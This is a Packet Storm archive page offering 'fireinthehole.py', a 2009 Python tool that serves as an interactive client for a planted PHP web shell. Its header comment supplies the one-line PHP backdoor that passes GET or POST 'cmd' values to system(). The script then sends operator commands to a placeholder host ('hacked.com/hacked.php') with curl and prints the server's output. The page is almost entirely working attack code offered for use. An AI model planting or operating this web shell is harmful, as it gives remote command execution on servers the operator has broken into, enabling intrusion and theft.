exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Malformation's Interactive HTTP GET And POST Shell

Malformation's Interactive HTTP GET And POST Shell
Posted Nov 5, 2009
Authored by Malformation

This is Malformation's Interactive HTTP GET and POST Shell.

tags | tool, web, shell, rootkit
systems | unix
SHA-256 | d304cf274bb961d977a885e60060650ec032a74412bac078d3ca8f7b72aa5c21

Malformation's Interactive HTTP GET And POST Shell

Change Mirror Download
#!/usr/bin/python
#
# Malformation's Interactive HTTP GET and POST Shell - fireinthehole.py
#
# Upload something like this to a php file:
# <?php if (isset($_POST["cmd"])) { system($_POST["cmd"]); } ?>
# <?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>
#
# Kisses go to .aware, OTW, STS, darkc0de, str0ke and some Aussies
# Please don't strip the credits out if you modify or redistribute.

import sys, os, time

print '''
Malformation's Interactive HTTP GET and POST Shell
Version - 1.0.0a

Tries to maintain current working directory when you use 'cd'.

Usage:
\tEnter the host => hacked.com/hacked.php
\tEnter the POST variable => cmd
\thacked.com/hacked.php# ls -la
\ttotal 12880
\tdrwxr-xr-x 2 web web 4096 2009-11-03 11:54 .
\tdrwxr-xr-x 15 root root 4096 2009-10-08 13:37 ..
\t-rw-r--r-- 1 web web 481 2009-11-02 18:58 hacked.php
\thacked.com/hacked.php# .
\tBye.
'''

# # # # # Configuration # # # # # #
# 0 to turn off curl verbosity #
debug = 1 #
# # # # # # # # # # # # # # # # # #

write = 0
curl_array = ["/bin/", "/usr/bin/", "/usr/sbin/"]
curl_dirs = ""
count = 0
finalcommand = ""
dir_array = []

for i in range(0,len(curl_array)):
if (os.path.exists(curl_array[i] + "curl")):
count = count + 1
curl_dirs = curl_dirs + curl_array[i] + " "

if (count == 0):
print "Couldn't find curl. Tried looking in " + curl_dirs
sys.exit(0)

try:
if (os.path.exists("fireinthehole.txt")):
file = open("fireinthehole.txt","a")
else:
file = open("fireinthehole.txt","w")
print "Output will be saved to fireinthehole.txt"
write = 1
except IOError:
print "Directory not writable, output will not be saved."

try:
host = raw_input("Enter the host => ")
method = raw_input("GET/POST => ")
if (method == "GET"):
myvar = raw_input("Enter the GET variable => ")
elif (method == "POST"):
myvar = raw_input("Enter the POST variable => ")
else:
sys.exit(0)
while True:
mycommand = raw_input(host + "# ")
finalcommand = ""
if (mycommand == "."):
print "Bye."
sys.exit(0)
mycommand = mycommand + "; "
if (mycommand[0] + mycommand[1] + mycommand[2] == "cd "):
dir_array.insert(len(dir_array) + 1, mycommand)
if (method == "GET"):
string = "curl -s \"" + host + "?" + myvar + "=" + mycommand + "\""
else:
string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " + host
if (debug == 1):
print string + ":\n"
continue
if (len(dir_array) != 0):
for j in range(0,len(dir_array)):
finalcommand = finalcommand + dir_array[j]
finalcommand = finalcommand + mycommand
if (finalcommand != ""):
mycommand = finalcommand
if (method == "GET"):
string = "curl -s \"" + host + "?" + myvar + "=" + mycommand + "\""
else:
string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " + host
if (debug == 1):
print string + ":\n"
command = os.popen(string,"r")
if (write == 1):
file.write(host + "# " + mycommand + "\n")
while(1):
line = command.readline()
line = line.strip()
if line:
print line
if (write == 1):
file.write(line + "\n")
else:
break
except KeyboardInterrupt:
print "\nBye."
sys.exit(0)

except:
print "Unhandled exception"
sys.exit(0)


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close